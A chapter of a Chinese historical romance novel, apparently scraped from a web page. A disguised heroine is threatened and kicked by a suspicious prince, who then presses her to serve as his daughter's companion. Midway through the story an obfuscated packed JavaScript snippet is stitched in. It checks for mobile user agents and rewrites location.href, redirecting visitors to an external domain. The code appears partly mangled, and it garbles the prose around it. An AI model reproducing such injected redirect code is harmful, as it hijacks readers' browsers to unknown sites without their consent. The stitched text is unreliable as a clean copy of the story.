但凡领教过李钧雷霆手段的人,没有一位能在落入他手中后不怕他的。 柳泉鸣前世深知他的心狠手辣,二人因阵营相悖,明面上毫无往来,可他暗中对她的算计却从未停歇。 她差些死在了他手上。 她面上无异,只得轻手把女孩抱走,冲李钧行了礼,“公子此话何意?我与公子你不过第一次见,什么招数什么下场的,恕在下不识。” 并非不识,李钧那话之意不难辨,他是将她当作图谋不轨的人,靠吸引他女儿注意接近他。 也是,李钧这般心狠手辣猜忌生疑的人,平日睡觉都要睁着一只眼睛的吧。 车厢内熏着淡淡的木香,混着他身上冷冽的气息,倒让这逼仄空间更添几分压迫感。 与此同时,她也知晓了那女孩的姓名——李知意。前世初见时,李知意已非这般垂髫稚子,五官舒展,容颜与李钧颇为相似,然言行间尽显天真烂漫之态。 李知意的生母乃李钧的发妻,如诸多薄命母亲一般,产后血崩离世。李知意由李钧一手带大,性子却是单纯无害的。这给人的感觉便像一只老虎生了一只兔子,无人不觉诧异。 生于世事漩涡之中者,哪能如她一般秉性纯良? 柳泉鸣知晓,正是李钧对李知意关怀备至呵护有加,用异于对待常人的温情润泽着她的成长,这才成就了她这般天真质朴之性。 方才女孩扑进她怀里时,衣襟上还沾着些糖葫芦的糖渣,倒像是只偷嘴的小雀儿,透着股不染尘埃的鲜活。 “陈河,带着小姐下去买糖。”李钧扫过柳泉鸣的脸,道。 马夫上了马车,才托住李知意的双肩,李知意便哭嚷着又抱住柳泉鸣的腿,“我不下去!爹爹,我要这位哥哥当我的伴读!” 柳泉鸣无奈,心中却想让她住嘴,只怕她再说下去,李钧更是不放过她了。 指尖无意识绞着衣角,布料的纹理硌着掌心,倒让她多了分实在的慌张。 马夫好歹把李知意抱下了马车,哭闹的声音越来越远,马车里只余两人。 李钧手中把玩着一柄小巧的刀,并未正视柳泉鸣,显然没将她放在眼里,刀在他指间翻转,发出细小的银光,光线飞入柳泉鸣垂着的眸子中。 那刀刃打磨得极薄,映出她几分苍白的脸。 方才马夫走时她也想跟着掀帘就走,但怕李钧一只匕首扔来她就丧命于此,冷静地道:“公子似乎对我有所误会?” 李钧冷笑,“你这般细眉小鼻的模样,我倒不是第一次见,不知从哪个犄角旮旯冒出来的小倌,怂恿着小孩子到处收些相貌好看的男子当伴读,不是买冰糖葫芦,就是兔子花灯,想方设法混入府上,又自不量力地来刺杀我。前面几个不受酷刑皆死去了,你又如何说?最好交代是谁派你来的,你也少受些苦。” 想杀了李钧的人不计其数,为了接近他,竟然从李知意下手。许多人都知他将李知意捧在掌中养大,最讨厌旁人通过李知意去利用伤害他,想来他口中的“酷刑”并非虚言。 柳泉鸣额上已浮起冷汗,最近领悟了装傻的心得,温顺地道:“公子这话说来,倒让我有些惊诧,你看上去不过寻常子弟,竟有如此多仇家,想来我是有眼不识泰山,没看出公子是何贵人。” “呵。”李钧冷笑一声,手指翻转的动作停住,刀刃正好落在了他两指之中,指尖一拨,那匕首刷地飞出,贴着柳泉鸣下颌疾掠而过,旋即铿锵一声,狠狠钉入马车,与此同时,柳泉鸣垂于鬓角的几缕碎发被齐齐割断,悠悠飘落。 一贯冷静的她此刻心脏打起了鼓,心中忍住了骂他祖宗的掉头大罪,审时度势,扑腾一声跪下,半分真情地流露出贪生怕死的神态,“饶命!小人真不知道在哪方面惹怒了您!您大人有大量,饶了我吧!” 在不费吹灰之力就能杀了她的武力面前,她往些年读的书就显得多余了,没了脑袋,她学的那些东西便算不得什么。 李钧起身,柳泉鸣没敢抬眼,听着他一步一步踏至身前,上等鹿皮缝制缀着东珠的鞋尖落入柳泉鸣眼中,没等她反应,那只脚便狠狠踹向柳泉鸣的肩。 一阵剧痛传来,随着他这一脚下来,柳泉鸣摔倒地上,倒与话本上的柔弱书生如出一辙,躺在地上就一动不动了,额上浮起冷汗。 她大概与京城犯冲吧,才回来没几日,便吃了不少苦。 李钧居高临下地望着她,“叫什么名字?” 许久未得到回应,他蹲了下来,冷冷看着她像条死鱼一样趴在地上,饶觉兴致,握住手腕要将她拎起,伸手才触及,肌肤光滑骨骼纤细,他便眉目一变,提起了人,目光刀般刮过她的脸,“你是女子?” 柳泉鸣点头,手被李钧甩开后,她调整一二,利落地跪下,急忙道:“小女名叫何花,京城人士,身着男装是为了帮家里进货,在街上见到令爱摔倒了,出于怜爱之心便随手一扶,绝无半分冒犯恶意,还望您莫要怪罪!” “进货?进什么货?”李钧的语气并不似先前凌冽,但仍带着怀疑。 柳泉鸣道:“小本营生,卖一些脂粉。” 李钧坐上位,揉着眉心,暴戾之气缓缓消散。这些日子,多少小倌模样的杀手接二连三地靠李知意混入府中对他行刺杀之事,他方才也是性急,未查清这些事情就将人叫进马车一番恐吓威胁。 车窗外传来小贩的吆喝声,隐约是卖桂花糕的,倒让这剑拔弩张的气氛松快了些。 “你为何不言明自己是个女子?” “小女看您警戒异常,只担心您受我欺瞒怒上加怒,便瞒下了。小女绝无恶意!” 她言辞诚恳,方才一番试探查出她不是会武术之人,李钧无意为难她,丢了钱袋到她眼前,对她招了手,“离去吧。” 柳泉鸣又再次赔罪谢恩,拿了钱袋就跑,下了马车时,脚一阵疲软,扶着车辕调整气息,蓄了力才要走,抱着李知意的马夫便出现在了她的眼前,她还没来得及再跑,稚嫩的“哥哥”便飘到了耳边。 这声音不知打开了马车上那位的哪一窍,李钧喊道:“何花,还没走?上来。” 此刻再跑,便显得她心虚了。 她上了马车,与李钧面面相觑时,行了礼,“贵人,我父母还等着我进货回去呢,小本买卖,却是维持普通人家的生计之重。” 李知意也爬上了马车,对她的喜爱溢出表面,冲过来抱住她的小腿,“哥哥!” 李钧视线自下而上地从李知意扫到柳泉鸣脸上,若有所思,“你可识字?” 他不会真要让她当小郡主的伴读吧? 柳泉鸣立马摇头:“不识。” “哈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192080|178572||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 李钧勾唇,“也无妨,你到时跟着学便是了。” 李知意既如此倾心于容色出众的男子为伴读,何不索性安排一位女子改换男装充数?如此既可免去男子近身对她的声名之累,亦能确保她不被男子巧言所欺。 柳泉鸣猜出了李钧的用意,摸了摸几乎黏在身上的李知意的脑袋,“……公子说笑了,我左右不过是个粗人,大字不识不说,只恐唐突了贵千金。” 大门不出二门不迈的苏瑶阙都知晓了李鸿岭追她至钗纭,李钧又何故不知“柳泉鸣”?她要真暴露了身份,安生日子就此没了不说,命还有没有都不一定。 李钧直接不理睬她那番糊弄,道:“你做生意能赚多少钱?我双倍给你。吃的住的府上一应俱全,你的父母我也可差人接到府上。” 李钧并不给她拒绝的机会。 还是先假装应了吧。 柳泉鸣作揖,“这事得多思慎虑,先让我回家与父母商议一番。” 李钧道:“你住哪?此刻便可启程,我亲自与你父母说。” 柳泉鸣一个头两个大,胡编乱造道:“小人住的位置破陋不堪,公子去了也是脏了鞋。况且这种小事何必您亲赴,浪费了您的时间。” 李钧一语道破:“怎么?你不愿意?” 柳泉鸣额角狂跳,“公子,我与您仅有一面之缘,彼此尚不熟稔,心存几分戒备亦是人之常情,我并非不愿意之说。” 她曾与几位皇子有过接触,对他们的性情各有体悟。此刻,她虽已对李鸿岭心生惧意,但那份畏惧远不及李钧带给她的压迫感强烈。 李鸿岭即便心怀杀机,亦会秉持公正权衡,并非肆意妄为草菅人命之辈;而李钧则截然不同,在他眼中,平民百姓的性命根本不值一提。 对待李钧,她提起了十二分的警惕。 李钧笑着看她,语气带着威胁:“你这伶牙俐齿巧舌如簧的机灵劲儿,倒不像大字不识的粗鲁人家。” 他将腰间玉牌摘了下来,扔进柳泉鸣怀里,“仔细看看,本王可不是什么坏人。” 柳泉鸣眼疾手快接住,瞧了玉牌上面的字,装作一副惊诧的样子,诚惶诚恐地给他拜了一拜,双手捧着还回玉牌,“竟然是宁王殿下!” “到皇子府上做事可是多少人求都求不来的福气。”李钧说着,接过玉牌后,顺势而上掐住了她的右手手腕,见她拇指、食指和中指靠近指尖的关节处都有茧,左手却光滑无比,冷哼了一声,“本王最厌恶别人撒谎。” 柳泉鸣的目光追着他看向自己的手指,心脏狂跳。 她方才说自己大字不识,一时不慎认了玉牌上的字,又何来的读书人常写字才能磨出的茧! 脑子急转,实在没招,她如实道:“不过一面,殿下又是扔刀又是踹人,寻常来思,自是不愿去你府上办事,这才动了撒谎的心思。望殿下海涵。” 她话落地须臾,马车里一阵静默,李知意眨着眼睛看看自己的爹,又看看她。 车轴碾过路面的石子,发出轻微的颠簸,倒让这沉默添了几分活气。 忽然,李钧大笑,“何花,你还挺有趣。我现下想听你说说,你去哪家铺子进的胭脂?又要如何将进的货运回家?” 柳泉鸣凝眉。 她许久不答,李钧又问:“你究竟是何身份?”